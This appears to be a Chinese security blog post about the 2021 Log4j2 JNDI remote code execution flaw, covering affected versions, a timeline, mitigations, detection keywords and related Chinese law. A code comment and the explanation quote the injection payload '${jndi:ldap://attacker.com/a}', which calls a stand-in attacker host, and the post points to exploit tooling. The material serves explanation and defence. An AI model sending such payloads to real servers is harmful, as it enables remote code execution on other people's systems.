0day问世:Apache Log4j Remote Code Execution


今年又迎来了一次波及安全圈的核弹级0day,太久没关注的我都知道了,朋友圈,公众号,知识星球。上次还是Google浏览器的事件。

Ax Introduction

It seems beyond dispute that Apache Log4j2 is an excellent Java logging framework.

Information

漏洞预警:Apache Log4j 远程代码执行漏洞

编号:CNVD-2021-95914

影响版本

  • Apache Log4j2 2.0 - 2.15.0-rc1

Example Vulnerable Code

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Data from the User gets sent to the server (via any protocol),
The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Due to how common Java vulnerabilities such as these are, security researchers have created tools to easily exploit them. The marshalsec project is one of many that demonstrates generating an exploit payload that could be used for this vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

Time line

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
2021年12月7日,野外首次发现Apache log4j漏洞。
2021年12月8日,知道创宇404积极防御实验室通过创宇安全智脑监测到Apache Log4j2远程代码执行最新漏洞被攻击者利用,并注意到该漏洞细节已经被公开扩散。
2021年12月9日,国内多家机构监测到Apache Log4j存在任意代码执行漏洞,并紧急通报相关情况。流行的 Java 日志库中的 0 天漏洞与发布在github上的 log4jPOC在推特上发布,如果log4j记录攻击者控制的字符串值,则会导致远程代码执行 (RCE) 。
2021年12月10日,2.15.0-rc1版本仍可触发漏洞,多家应急响应团队发布二次漏洞预警。Apache log4j官方发布2.15.0-rc2。
2021年12月10日11时,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。CNVD对该漏洞的综合评级为“高危”。

Insufficient validation

1、相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。
2、若程序使用Maven打包,查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.0,则存在该漏洞。
3、若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0,则存在该漏洞。

Bx Reproduction

安全研究人员复现

老外直呼,还有什么比这更糟糕的,POC一下子传遍互联网。

“What can be more worse than this. It just some hour past and PoC for Log4j Vulnerability released on internet.”

Cx Patch Vulnerabilities

目前,Apache官方已发布新版本完成漏洞修复

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墙产品进行安全防护。
5)升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

建议使用如下相关应用组件构建网站的信息系统运营者进行自查,如Apache Struts2、Apache Solr、Apache Druid、Apache Flink等,发现存在漏洞后及时按照上述建议进行处置。

Dx Attack Detection

1、攻击者在利用前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的”javax.naming.CommunicationException”、”javax.naming.NamingException: problem generating object using object factory”、”Error looking up JNDI resource”关键字进行排查。
2、攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或WAF设备进行检索排查。

Ex Addition

这个月12.4国家宪法日,借着这个log4j普及一下法律知识。

中华人民共和国宪法(2018年3月11日修正)

第五十四条 中华人民共和国公民有维护祖国的安全、荣誉和利益的义务,不得有危害祖国的安全、荣誉和利益的行为。

中华人民共和国刑法(285、286)

第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

中华人民共和国网络安全法(2017年6月1日起施行)

第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告推广、支付结算等帮助.

第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息。

第六十三条违反本法规定,给他人造成损害的,依法承担民事责任。

第六十四条违反本法规定,构成犯罪的,依法追究刑事责任.

网络产品安全漏洞管理规定(2021年9月1日起施行)

 第四条 任何组织或者个人不得利用网络产品安全漏洞从事危害网络安全的活动,不得非法收集、出售、发布网络产品安全漏洞信息;明知他人利用网络产品安全漏洞从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

第十条 任何组织或者个人设立的网络产品安全漏洞收集平台,应当向工业和信息化部备案。工业和信息化部及时向公安部、国家互联网信息办公室通报相关漏洞收集平台,并对通过备案的漏洞收集平台予以公布。

关键信息基础设施安全保护条例(2021年9月1日起施行)

第三十一条 未经国家网信部门、国务院公安部门批准或者保护工作部门、运营者授权,任何个人和组织不得对关键信息基础设施实施漏洞探测、渗透性测试等可能影响或者危害关键信息基础设施安全的活动。对基础电信网络实施漏洞探测、渗透性测试等活动,应当事先向国务院电信主管部门报告。

Fx Security community

来看看圈子里头的段子

一个冷知识,法拉利也基于log4j2,万物皆可

#java开发# 感觉今天全世界都在修补log4j2的漏洞

Gx References

[0] https://www.lunasec.io/docs/blog/log4j-zero-day/
[1] https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
[2] https://mp.weixin.qq.com/s/jLWUudhwI2Gor_1Lq4ppdw
[3] https://mp.weixin.qq.com/s/lT23zRKQVZl0MIsBSkTMfA
[4] https://mp.weixin.qq.com/s/ybPdlNY98J2xSsep9bllUA
[5] https://mp.weixin.qq.com/s/1PbEDPUFY4vRPbPa5yR8NA


文章作者: Enomothem
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Enomothem !
  目录